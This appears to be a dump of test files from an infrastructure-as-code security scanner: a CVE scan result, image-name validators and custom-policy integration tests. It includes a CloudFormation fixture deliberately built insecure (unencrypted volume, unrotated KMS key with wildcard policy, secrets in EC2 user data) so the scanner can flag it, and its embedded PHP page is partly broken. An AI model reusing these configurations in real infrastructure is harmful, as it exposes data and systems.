"sha256:091a7b5de688f283b30a4942280b64cf822bbdab0abfb2d2ce6db989f2d3c3f4", "collections": [ "All" ], "packages": [ { "type": "os", "name": "tzdata", "version": "2021a-1+deb11u5" } ], "compliances": [ { "id": 41, "title": "(CIS_Docker_v1.2.0 - 4.1) Image should be created with a non-root user", "severity": "high", "description": "It is a good practice to run the container as a non-root user, if possible. Though user\nnamespace mapping is now available, if a user is already defined in the container image, the\ncontainer is run as that user by default and specific user namespace remapping is not\nrequired" } ], "complianceDistribution": { "critical": 0, "high": 1, "medium": 0, "low": 0, "total": 1 }, "complianceScanPassed": "true", "vulnerabilities": [ { "id": "CVE-2021-38297", "status": "fixed in 1.17.2, 1.16.9", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Go before 1.16.9 and 1.17.x before 1.17.2 has a Buffer Overflow via large arguments in a function invocation from a WASM module, when GOARCH\u003dwasm GOOS\u003djs is used.", "severity": "critical", "packageName": "go", "packageVersion": "1.16.7", "link": "https://nvd.nist.gov/vuln/detail/CVE-2021-38297", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix", "Recent vulnerability" ], "impactedVersions": [ "\u003c1.16.9" ], "publishedDate": "2021-10-18T06:15:00Z", "discoveredDate": "2022-09-18T14:26:20Z", "fixDate": "2021-10-18T06:15:00Z" }, { "id": "CVE-2022-23806", "status": "fixed in 1.17.7, 1.16.14", "cvss": 9.1, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "description": "Curve.IsOnCurve in crypto/elliptic in Go before 1.16.14 and 1.17.x before 1.17.7 can incorrectly return true in situations with a big.Int value that is not a valid field element.", "severity": "critical", "packageName": "go", "packageVersion": "1.16.7", "link": "https://nvd.nist.gov/vuln/detail/CVE-2022-23806", "riskFactors": [ "Recent vulnerability", "Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix" ], "impactedVersions": [ "\u003c1.16.14" ], "publishedDate": "2022-02-11T01:15:00Z", "discoveredDate": "2022-09-18T14:26:20Z", "fixDate": "2022-02-11T01:15:00Z" }, { "id": "CVE-2022-30580", "status": "fixed in 1.18.3, 1.17.11", "cvss": 7.8, "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "description": "Code injection in Cmd.Start in os/exec before Go 1.17.11 and Go 1.18.3 allows execution of any binaries in the working directory named either \\\"..com\\\" or \\\"..exe\\\" by calling Cmd.Run, Cmd.Start, Cmd.Output, or Cmd.CombinedOutput when Cmd.Path is unset.", "severity": "high", "packageName": "go", "packageVersion": "1.16.7", "link": "https://nvd.nist.gov/vuln/detail/CVE-2022-30580", "riskFactors": [ "Attack complexity: low", "Has fix", "High severity", "Recent vulnerability" ], "impactedVersions": [ "\u003c1.17.11" ], "publishedDate": "2022-08-10T20:15:00Z", "discoveredDate": "2022-09-18T14:26:20Z", "fixDate": "2022-08-10T20:15:00Z" } ], "vulnerabilityDistribution": { "critical": 2, "high": 19, "medium": 5, "low": 12, "total": 38 }, "vulnerabilityScanPassed": "true" } ] } if sys.version_info < (3, 8): future = asyncio.Future() future.set_result(result) return future return result ================================================ FILE: tests/common/images/__init__.py ================================================ ================================================ FILE: tests/common/images/test_base_image_referencer.py ================================================ import unittest class TestImageReferencerBase(unittest.TestCase): # noinspection PyMethodMayBeStatic def run_is_valid_public_image_valid(self, image_name: str) -> bool: from checkov.common.images.image_referencer import is_valid_public_image_name return is_valid_public_image_name(image_name) def test_invalid_image_name_replace(self): self.assertFalse(self.run_is_valid_public_image_valid('registry-auth.twistlock.com/tw_/twistlock/console:console_20_04_163')) def test_invalid_image_name_extraction(self): self.assertFalse(self.run_is_valid_public_image_valid( "gcr.io/[\"${{'develop': {'project_id': 'develop'}, 'production': {'project_id': 'production'}}[\"var.env\"].project_id}\"]/notifier:aa123aa" )) def test_invalid_image_name_var_reference(self): self.assertFalse(self.run_is_valid_public_image_valid('gcr.io/example/base:$IMAGE_TAG')) def test_localhost_image_name(self): self.assertFalse(self.run_is_valid_public_image_valid('localhost:320000/video-conferencing-ms-example')) def test_cname_with_port_image_name(self): self.assertFalse(self.run_is_valid_public_image_valid('example.local:5004/video-conferencing-ms-example:1.2.3')) def test_valid_image_name(self): self.assertTrue(self.run_is_valid_public_image_valid('node:16')) def test_valid_image_name_2(self): self.assertTrue(self.run_is_valid_public_image_valid('ubuntu')) def test_valid_image_name_3(self): self.assertTrue(self.run_is_valid_public_image_valid('gcr.io/develop/notifier:aa123aa')) ================================================ FILE: tests/common/integration_features/__init__.py ================================================ ================================================ FILE: tests/common/integration_features/example_custom_policy_dir/cfn.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: AWS CloudFormation Template to deploy insecure infrastructure Parameters: LatestAmiId: Type: AWS::SSM::Parameter::Value Default: /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 #test Resources: #################### ### EC2 in VPC ### #################### WebHostStorage: # Unencrypted Volume Type: AWS::EC2::Volume Properties: AvailabilityZone: !Select - 0 - Fn::GetAZs: "" #Encrypted: False Size: 1 Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-ebs" ############# ### KMS ### ############# LogsKey: # Key does not have rotation enabled Type: AWS::KMS::Key Properties: Description: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-logs bucket key" PendingWindowInDays: 7 KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable IAM User Permissions Effect: Allow Principal: AWS: !Sub arn:aws:iam::${AWS::AccountId}:root Action: kms:* Resource: '*' LogsKeyAlias: Type: AWS::KMS::Alias Properties: AliasName: !Sub "alias/${AWS::AccountId}-${CompanyName}-${Environment}-logs-bucket-key" TargetKeyId: !Ref LogsKey DBAppInstance: # EC2 have plain text secrets in user data Type: AWS::EC2::Instance Properties: AvailabilityZone: Fn::Select: - 0 - Fn::GetAZs: "" ImageId: !Ref LatestAmiId InstanceType: t2.nano IamInstanceProfile: !Ref EC2Profile SecurityGroupIds: - !Ref WebNodeSG SubnetId: !Ref WebSubnet Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${CompanyName}-${Environment}-dbapp" UserData: Fn::Base64: !Sub | #!/bin/bash ### Config from https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html sudo yum -y update sudo yum -y install httpd php php-mysqlnd sudo systemctl enable httpd sudo systemctl start httpd sudo mkdir /var/www/inc cat << EnD > /tmp/dbinfo.inc EnD sudo mv /tmp/dbinfo.inc /var/www/inc sudo chown root:root /var/www/inc/dbinfo.inc cat << EnD > /tmp/index.php

Sample page

NAME ADDRESS
"; echo "", "", ""; echo ""; } ?>
ID NAME ADDRESS
",$query_data[0], "",$query_data[1], "",$query_data[2], "
Error adding employee data.

"); } /* Check whether the table exists and, if not, create it. */ function VerifyEmployeesTable($connection, $dbName) { if(!TableExists("EMPLOYEES", $connection, $dbName)) { $query = "CREATE TABLE EMPLOYEES ( ID int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, NAME VARCHAR(45), ADDRESS VARCHAR(90) )"; if(!mysqli_query($connection, $query)) echo("

Error creating table.

"); } } /* Check for the existence of a table. */ function TableExists($tableName, $connection, $dbName) { $t = mysqli_real_escape_string($connection, $tableName); $d = mysqli_real_escape_string($connection, $dbName); $checktable = mysqli_query($connection, "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME = '$t' AND TABLE_SCHEMA = '$d'"); if(mysqli_num_rows($checktable) > 0) return true; return false; } ?> EnD sudo mv /tmp/index.php /var/www/html sudo chown root:root /var/www/html/index.php Outputs: EC2PublicDNS: # test comment # test comment2 Description: Web Host Public DNS Name Value: !GetAtt [EC2Instance, PublicDnsName] VpcId: Description: The ID of the VPC # test comment Value: !Ref WebVPC PublicSubnet: Description: The ID of the Public Subnet Value: !Ref WebSubnet # test comment PublicSubnet2: Description: The ID of the Public Subnet Value: !Ref WebSubnet2 UserName: Description: The Name of the IAM User Value: !Ref User ================================================ FILE: tests/common/integration_features/example_custom_policy_dir/main.tf ================================================ resource "aws_s3_bucket" "b1" { bucket = "bucket1" } ================================================ FILE: tests/common/integration_features/example_custom_policy_dir/msk.yaml ================================================ Description: MSK Cluster with required properties. Resources: ClusterBadNoLoggingInfo: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 Tags: - Key: yor_trace Value: "mock_trace" ClusterBadNoLoggingDisabled: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: false ClusterCloudWatchLogsGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: true ClusterFirehoseGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: Firehose: Enabled: true Clusters3Good: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: S3: Enabled: true ClusterAllGood: Type: 'AWS::MSK::Cluster' Properties: ClusterName: ClusterWithRequiredProperties KafkaVersion: 2.2.1 NumberOfBrokerNodes: 3 BrokerNodeGroupInfo: InstanceType: kafka.m5.large ClientSubnets: - ReplaceWithSubnetId1 - ReplaceWithSubnetId2 - ReplaceWithSubnetId3 LoggingInfo: BrokerLogs: CloudWatchLogs: Enabled: true Firehose: Enabled: true S3: Enabled: true ================================================ FILE: tests/common/integration_features/resources/main.tf ================================================ resource "aws_subnet" "s" { map_public_ip_on_launch = true } ================================================ FILE: tests/common/integration_features/test_custom_policies_integration.py ================================================ import json import os import unittest from copy import deepcopy from checkov.common.bridgecrew.integration_features.features.custom_policies_integration import \ CustomPoliciesIntegration from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry, get_all_graph_checks_registries, get_graph_checks_registry, \ GraphSupportedIACFrameworks from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.terraform.runner import Runner as TerraformRunner from checkov.cloudformation.runner import Runner as CFNRunner from checkov.runner_filter import RunnerFilter from pathlib import Path class TestCustomPoliciesIntegration(unittest.TestCase): def tearDown(self) -> None: for framework in GraphSupportedIACFrameworks: get_graph_checks_registry(framework.value.lower()).checks = [] def test_integration_valid(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True custom_policies_integration = CustomPoliciesIntegration(instance) self.assertTrue(custom_policies_integration.is_valid()) instance.skip_download = True self.assertFalse(custom_policies_integration.is_valid()) instance.platform_integration_configured = False self.assertFalse(custom_policies_integration.is_valid()) instance.skip_download = False self.assertFalse(custom_policies_integration.is_valid()) custom_policies_integration.integration_feature_failures = True self.assertFalse(custom_policies_integration.is_valid()) def test_policy_load(self): # response from API policies = [ { "id": "policy_id_1", "title": "yaml1", "severity": "MEDIUM", "category": "General", "guideline": "yaml1", "code": json.dumps({ "or": [ { "value": "xyz", "operator": "equals", "attribute": "xyz", "cond_type": "attribute", "resource_types": [ "aws_s3_bucket" ] } ] }), "benchmarks": {}, }, { "id": "policy_id_2", "title": "ui1", "severity": "HIGH", "category": "General", "guideline": "ui1", "code": json.dumps({ "value": "abc", "operator": "equals", "attribute": "region", "cond_type": "attribute", "resource_types": [ "aws_s3_bucket" ] }), "benchmarks": {}, }, { "id": "policy_id_3", "title": "Check that all EC2 instances are tagged with yor_trace", "descriptiveTitle": "null", "constructiveTitle": "null", "severity": "LOW", "pcSeverity": "null", "category": "General", "guideline": "Check for YOR tagging", "code": json.dumps({ "operator": "exists", "attribute": "Tags.yor_trace", "cond_type": "attribute", "resource_types": [ "AWS::EC2::Instance" ] }), "benchmarks": {}, "frameworks": [ "Terraform", "CloudFormation" ], }, { "id": "policy_id_4", "title": "Custom - ensure MSK Cluster logging is enabled", "descriptiveTitle": "null", "constructiveTitle": "null", "severity": "MEDIUM", "pcSeverity": "null", "category": "Logging", "resourceTypes": [ "AWS::MSK::Cluster" ], "accountsData": {}, "guideline": "Some sample guidelines", "isCustom": True, "code": json.dumps({ "or": [ { "value": "true", "operator": "equals", "attribute": "LoggingInfo.BrokerLogs.S3.Enabled", "cond_type": "attribute", "resource_types": [ "AWS::MSK::Cluster" ] }, { "value": "true", "operator": "equals", "attribute": "LoggingInfo.BrokerLogs.Firehose.Enabled", "cond_type": "attribute", "resource_types": [ "AWS::MSK::Cluster" ] }, { "value": "true", "operator": "equals", "attribute": "LoggingInfo.BrokerLogs.CloudWatchLogs.Enabled", "cond_type": "attribute", "resource_types": [ "AWS::MSK::Cluster" ] } ] }), "benchmarks": {}, "frameworks": [ "Terraform", "CloudFormation" ], } ] # for this test, we simulate some of the check registry manipulation; otherwise the singleton # instance will be modified and break other tests. parser = GraphCheckParser() registry = Registry(parser=GraphCheckParser(), checks_dir=str( Path(__file__).parent.parent.parent.parent / "checkov" / "terraform" / "checks" / "graph_checks")) checks = [parser.parse_raw_check(CustomPoliciesIntegration._convert_raw_check(p)) for p in policies] registry.checks = checks # simulate that the policy downloader will do tf_runner = TerraformRunner(external_registries=[registry]) cfn_runner = CFNRunner(external_registries=[registry]) current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_custom_policy_dir" report = tf_runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter()) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_2']), 1) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_1']), 1) report = tf_runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=['policy_id_2'])) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_2']), 1) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_1']), 0) report = tf_runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=['policy_id_2'])) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_2']), 0) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_1']), 1) report = cfn_runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=['policy_id_4'])) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_4']), 2) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_3']), 0) report = cfn_runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=['policy_id_3'])) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_3']), 1) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_4']), 0) report = cfn_runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(skip_checks=['policy_id_3'])) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_3']), 0) self.assertEqual(len([r for r in report.failed_checks if r.check_id == 'policy_id_4']), 2) def test_pre_scan_with_cloned_checks(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True custom_policies_integration = CustomPoliciesIntegration(instance) instance.customer_run_config_response = mock_custom_policies_response() custom_policies_integration.pre_scan() cfn_registry = get_graph_checks_registry("cloudformation").checks tf_registry = get_graph_checks_registry("terraform").checks k8s_registry = get_graph_checks_registry("kubernetes").checks bicep_registry = get_graph_checks_registry("bicep").checks arm_registry = get_graph_checks_registry("arm").checks self.assertEqual(1, len(custom_policies_integration.bc_cloned_checks)) self.assertEqual('kpande_AZR_1648821862291', tf_registry[0].id, cfn_registry[0].id) self.assertEqual('kpande_AZR_1648821862291', tf_registry[0].bc_id, cfn_registry[0].bc_id) self.assertEqual('kpande_kubernetes_1650378013211', k8s_registry[0].id) self.assertEqual('kpande_kubernetes_1650378013211', k8s_registry[0].bc_id) self.assertEqual('kpande_bicep_1650378013212', bicep_registry[0].id) self.assertEqual('kpande_bicep_1650378013212', bicep_registry[0].bc_id) self.assertEqual('kpande_arm_1650378013213', arm_registry[0].bc_id) self.assertEqual('kpande_arm_1650378013213', arm_registry[0].bc_id) def test_pre_scan_with_multiple_frameworks_graph_check(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True custom_policies_integration = CustomPoliciesIntegration(instance) instance.customer_run_config_response = mock_multiple_frameworks_custom_policy_response() custom_policies_integration.pre_scan() bicep_registry_checks = get_graph_checks_registry("bicep").checks all_graph_checks = get_all_graph_checks_registries() for registry in all_graph_checks: multiple_frameworks_custom_policy_exist = False for check in registry.checks: if check.bc_id == 'multiple_frameworks_policy_1625063607541': multiple_frameworks_custom_policy_exist = True self.assertEqual(True, multiple_frameworks_custom_policy_exist) self.assertEqual(2, len(bicep_registry_checks)) def test_post_runner_with_cloned_checks(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True custom_policies_integration = CustomPoliciesIntegration(instance) # mock _get_policies_from_platform method instance.customer_run_config_response = mock_custom_policies_response() custom_policies_integration.pre_scan() scan_reports = Report("terraform") record = Record( check_id="CKV_AWS_5", check_name="Ensure all data stored in the Elasticsearch is securely encrypted at rest", check_result={"result": CheckResult.FAILED}, code_block=[], file_path="./main.tf", file_line_range=[7, 10], resource="aws_elasticsearch_domain.enabled", evaluations=None, check_class='', file_abs_path=",.", entity_tags={"tag1": "value1"}, bc_check_id="BC_AWS_ELASTICSEARCH_3" ) scan_reports.failed_checks.append(record) custom_policies_integration.post_runner(scan_reports) self.assertEqual(2, len(scan_reports.failed_checks)) self.assertEqual('mikepolicies_cloned_AWS_1625063607541', scan_reports.failed_checks[1].check_id) def test_post_runner_with_cloned_checks_with_suppression(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True custom_policies_integration = CustomPoliciesIntegration(instance) # mock _get_policies_from_platform method instance.customer_run_config_response = mock_custom_policies_response() custom_policies_integration.pre_scan() scan_reports = Report("terraform") record = Record( check_id="CKV_AWS_5", check_name="Ensure all data stored in the Elasticsearch is securely encrypted at rest", check_result={"result": CheckResult.FAILED}, code_block=[], file_path="./main.tf", file_line_range=[7, 10], resource="aws_elasticsearch_domain.enabled", evaluations=None, check_class='', file_abs_path=",.", entity_tags={"tag1": "value1"}, bc_check_id="BC_AWS_ELASTICSEARCH_3" ) scan_reports.failed_checks.append(record) custom_policies_integration.policy_level_suppression = ['BC_AWS_ELASTICSEARCH_3_80341358308'] custom_policies_integration.post_runner(scan_reports) self.assertEqual(1, len(scan_reports.failed_checks)) self.assertEqual('mikepolicies_cloned_AWS_1625063607541', scan_reports.failed_checks[0].check_id) def test_post_runner_with_non_failed_cloned_checks_with_suppression(self): instance = BcPlatformIntegration() instance.skip_download = False instance.platform_integration_configured = True custom_policies_integration = CustomPoliciesIntegration(instance) # mock _get_policies_from_platform method instance.customer_run_config_response = mock_custom_policies_response() failed_cloned_policy = instance.customer_run_config_response.get('customPolicies')[0] custom_policies_integration.pre_scan() custom_policies_integration.bc_cloned_checks = failed_cloned_policy scan_reports = Report("terraform") record = Record( check_id="CKV_AWS_5", check_name="Ensure all data stored in the Elasticsearch is securely encrypted at rest", check_result={"result": CheckResult.FAILED}, code_block=[], file_path="./main.tf", file_line_range=[7, 10], resource="aws_elasticsearch_domain.enabled", evaluations=None, check_class='', file_abs_path=",.", entity_tags={"tag1": "value1"}, bc_check_id="BC_AWS_ELASTICSEARCH_3" ) scan_reports.failed_checks.append(record) failed_cloned_policy_record = deepcopy(record) failed_cloned_policy_record.check_id = failed_cloned_policy['id'] failed_cloned_policy_record.bc_check_id = failed_cloned_policy['id'] failed_cloned_policy_record.guideline = failed_cloned_policy['guideline'] failed_cloned_policy_record.severity = failed_cloned_policy['severity'] failed_cloned_policy_record.check_name = failed_cloned_policy['title'] scan_reports.failed_checks.append(failed_cloned_policy_record) custom_policies_integration.policy_level_suppression = ['mikepolicies_cloned_AWS_1625063607541_80341358308'] custom_policies_integration.post_runner(scan_reports) self.assertEqual(1, len(scan_reports.failed_checks)) self.assertEqual('CKV_AWS_5', scan_reports.failed_checks[0].check_id) def test_policy_load_with_resources_types_as_str(self): # response from API policies = [ { "id": "policy_id_1", "title": "yaml1", "severity": "MEDIUM", "category": "General", "guideline": "yaml1", "code": json.dumps({ "or": [ { "value": "xyz", "operator": "equals", "attribute": "xyz", "cond_type": "attribute", "resource_types": "aws_s3_bucket" } ] }), "benchmarks": {}, }, { "id": "policy_id_2", "title": "ui1", "severity": "HIGH", "category": "General", "guideline": "ui1", "code": json.dumps({ "value": "abc", "operator": "equals", "attribute": "region", "cond_type": "attribute", "resource_types": [ "aws_s3_bucket" ] }), "benchmarks": {}, }, { "id": "policy_id_3", "title": "Check that all EC2 instances are tagged with yor_trace", "descriptiveTitle": "null", "constructiveTitle": "null", "severity": "LOW", "pcSeverity": "null", "category": "General", "guideline": "Check for YOR tagging", "code": json.dumps({ "operator": "exists", "attribute": "Tags.yor_trace", "cond_type": "attribute", "resource_types": [ "AWS::EC2::Instance" ] }), "benchmarks": {}, "frameworks": [ "Terraform", "CloudFormation" ], }, { "id": "policy_id_4", "title": "Custom - ensure MSK Cluster logging is enabled", "descriptiveTitle": "null", "constructiveTitle": "null", "severity": "MEDIUM", "pcSeverity": "null", "category": "Logging", "resourceTypes": [ "AWS::MSK::Cluster" ], "accountsData": {}, "guideline": "Some sample guidelines", "isCustom": True, "code": json.dumps({ "or": [ { "value": "true", "operator": "equals", "attribute": "LoggingInfo.BrokerLogs.S3.Enabled", "cond_type": "attribute", "resource_types": [ "AWS::MSK::Cluster" ] }, { "value": "true", "operator": "equals", "attribute": "LoggingInfo.BrokerLogs.Firehose.Enabled", "cond_type": "attribute", "resource_types": [ "AWS::MSK::Cluster" ] }, { "value": "true", "operator": "equals", "attribute": "LoggingInfo.BrokerLogs.CloudWatchLogs.Enabled", "cond_type": "attribute", "resource_types": [ "AWS::MSK::Cluster" ] } ] }), "benchmarks": {}, "frameworks": [ "Terraform", "CloudFormation" ], }, { "id": "policy_id_5", "title": "Custom - ensure SQL pool valid create mode", "severity": "HIGH", "category": "General", "guideline": "Custom - ensure", "code": json.dumps({ "value": "Recovery", "operator": "equals", "attribute": "createMode", "cond_type": "attribute", "resource_types": [ "Microsoft.Synapse/workspaces/sqlPools" ] }), "benchmarks": {}, } ] # for this test, we simulate some of the check registry manipulation; otherwise the singleton # instance will be modified and break other tests. parser = GraphCheckParser() registry = Registry(parser=GraphCheckParser(), checks_dir=str( Path(__file__).parent.parent.parent.parent / "checkov" / "terraform" / "checks" / "graph_checks")) checks = [parser.parse_raw_check(CustomPoliciesIntegration._convert_raw_check(p)) for p in policies] registry.checks = checks # simulate that the policy downloader will do def mock_custom_policies_response(): return { "customPolicies": [ { "id": "mikepolicies_cloned_AWS_1625063607541", "title": "Cloned policy", "severity": "CRITICAL", "category": "General", "frameworks": [ "Terraform", "CloudFormation" ], "resourceTypes": [ "aws_s3_bucket" ], "guideline": "mikepolicies_cloned_AWS_1625063607541", "benchmarks": {}, "createdBy": "mike+policies@bridgecrew.io", "code": "null", "sourceIncidentId": "BC_AWS_ELASTICSEARCH_3" }, { "id": "kpande_AZR_1648821862291", "code": "{\"and\":[{\"operator\":\"exists\",\"cond_type\":\"connection\",\"resource_types\":[" "\"azurerm_subnet_network_security_group_association\"],\"connected_resource_types\":[" "\"azurerm_subnet\",\"azurerm_network_security_group\"]},{\"value\":[\"azurerm_subnet\"]," "\"operator\":\"within\",\"attribute\":\"resource_type\",\"cond_type\":\"filter\"}]}", "title": "Ensure subnet is associated with NSG", "guideline": "Every subnet should be associated with NSG for controlling access to \nresources within " "the subnet.\n", "severity": "HIGH", "pcSeverity": None, "category": "Networking", "pcPolicyId": None, "additionalPcPolicyIds": None, "sourceIncidentId": None, "benchmarks": {}, "frameworks": [ "CloudFormation", "Terraform" ] }, { "id": "kpande_kubernetes_1650378013211", "code": "{\"operator\":\"exists\",\"attribute\":\"spec.runAsUser.rule\",\"cond_type\":\"attribute\"," "\"resource_types\":[\"PodSecurityPolicy\"]}", "title": "k8s policy", "guideline": "meaningful guideline for k8s policy", "severity": "HIGH", "pcSeverity": None, "category": "Kubernetes", "pcPolicyId": None, "additionalPcPolicyIds": None, "sourceIncidentId": None, "benchmarks": {}, "frameworks": [ "Kubernetes" ] }, { "id": "kpande_bicep_1650378013212", "code": "{\"operator\":\"exists\",\"attribute\":\"spec.runAsUser.rule\",\"cond_type\":\"attribute\"," "\"resource_types\":[\"PodSecurityPolicy\"]}", "title": "bicep policy", "guideline": "meaningful guideline for bicep policy", "severity": "HIGH", "pcSeverity": None, "category": "bicep", "pcPolicyId": None, "additionalPcPolicyIds": None, "sourceIncidentId": None, "benchmarks": {}, "frameworks": [ "bicep" ] }, { "id": "kpande_arm_1650378013213", "code": "{\"operator\":\"exists\",\"attribute\":\"spec.runAsUser.rule\",\"cond_type\":\"attribute\"," "\"resource_types\":[\"PodSecurityPolicy\"]}", "title": "arm policy", "guideline": "meaningful guideline for arm policy", "severity": "HIGH", "pcSeverity": None, "category": "arm", "pcPolicyId": None, "additionalPcPolicyIds": None, "sourceIncidentId": None, "benchmarks": {}, "frameworks": [ "arm" ] } ] } def mock_multiple_frameworks_custom_policy_response(): return { "customPolicies": [ { "id": "kpande_bicep_1650378013212", "code": "{\"operator\":\"exists\",\"attribute\":\"spec.runAsUser.rule\",\"cond_type\":\"attribute\"," "\"resource_types\":[\"PodSecurityPolicy\"]}", "title": "bicep policy", "guideline": "meaningful guideline for bicep policy", "severity": "HIGH", "pcSeverity": None, "category": "bicep", "pcPolicyId": None, "additionalPcPolicyIds": None, "sourceIncidentId": None, "benchmarks": {}, "frameworks": [ "bicep" ] }, { "id": "multiple_frameworks_policy_1625063607541", "title": "multiple frameworks policy", "code": "{\"and\":[{\"operator\":\"exists\",\"cond_type\":\"connection\",\"resource_types\":[" "\"azurerm_subnet_network_security_group_association\"],\"connected_resource_types\":[" "\"azurerm_subnet\",\"azurerm_network_security_group\"]},{\"value\":[\"azurerm_subnet\"]," "\"operator\":\"within\",\"attribute\":\"resource_type\",\"cond_type\":\"filter\"}]}", "severity": "CRITICAL", "category": "General", "frameworks": [], "resourceTypes": ["aws_s3_bucket", "PodSecurityPolicy"], "guideline": "multiple_frameworks_policy_1625063607541", "benchmarks": {}, "createdBy": "mike+policies@bridgecrew.io", "sourceIncidentId": None } ] } if __name__ == '__main__': unittest.main() ================================================ FILE: tests/common/integration_features/test_fixes_integration.py ================================================ from __future__ import annotations import os import unittest from typing import Any, Iterable from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.integration_features.features.fixes_integration import FixesIntegration from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report _old_check_metadata = None class TestFixesIntegration(unittest.TestCase): def test_integration_valid(self): instance = BcPlatformIntegration() instance.skip_fixes = False instance.platform_integration_configured = True instance.on_prem = False fixes_integration = FixesIntegration(instance) self.assertTrue(fixes_integration.is_valid()) instance.on_prem = True self.assertFalse(fixes_integration.is_valid()) instance.on_prem = False instance.skip_fixes = True self.assertFalse(fixes_integration.is_valid()) instance.platform_integration_configured = False self.assertFalse(fixes_integration.is_valid()) instance.skip_fixes = False self.assertFalse(fixes_integration.is_valid()) fixes_integration.integration_feature_failures = True self.assertFalse(fixes_integration.is_valid()) def test_apply_fixes_to_report(self): instance = BcPlatformIntegration() instance.skip_fixes = False instance.platform_integration_configured = True fixes_integration = FixesIntegration(instance) fixes_integration._get_fixes_for_file = mock_fixes_response metadata_integration.check_metadata = { 'custom_aws_12345': {'guideline': 'https://docs.bridgecrew.io/docs/ensure-vpc-subnets-do-not-assign-public-ip-by-default'}, 'CKV_AWS_130': { 'id': 'BC_AWS_NETWORKING_53', 'title': 'Ensure VPC subnets do not assign public IP by default', 'guideline': 'https://docs.bridgecrew.io/docs/ensure-vpc-subnets-do-not-assign-public-ip-by-default', 'severity': 'MEDIUM', 'pcSeverity': 'MEDIUM', 'category': 'Networking', 'checkovId': 'CKV_AWS_130', 'constructiveTitle': 'Ensure VPC subnets do not assign public IP by default', 'descriptiveTitle': 'AWS VPC subnets should not allow automatic public IP assignment', 'pcPolicyId': '11743cd3-35e4-4639-91e1-bc87b52d4cf5', 'additionalPcPolicyIds': ['11743cd3-35e4-4639-91e1-bc87b52d4cf5'], 'benchmarks': {} } } metadata_integration.bc_to_ckv_id_mapping = { 'BC_AWS_NETWORKING_53': 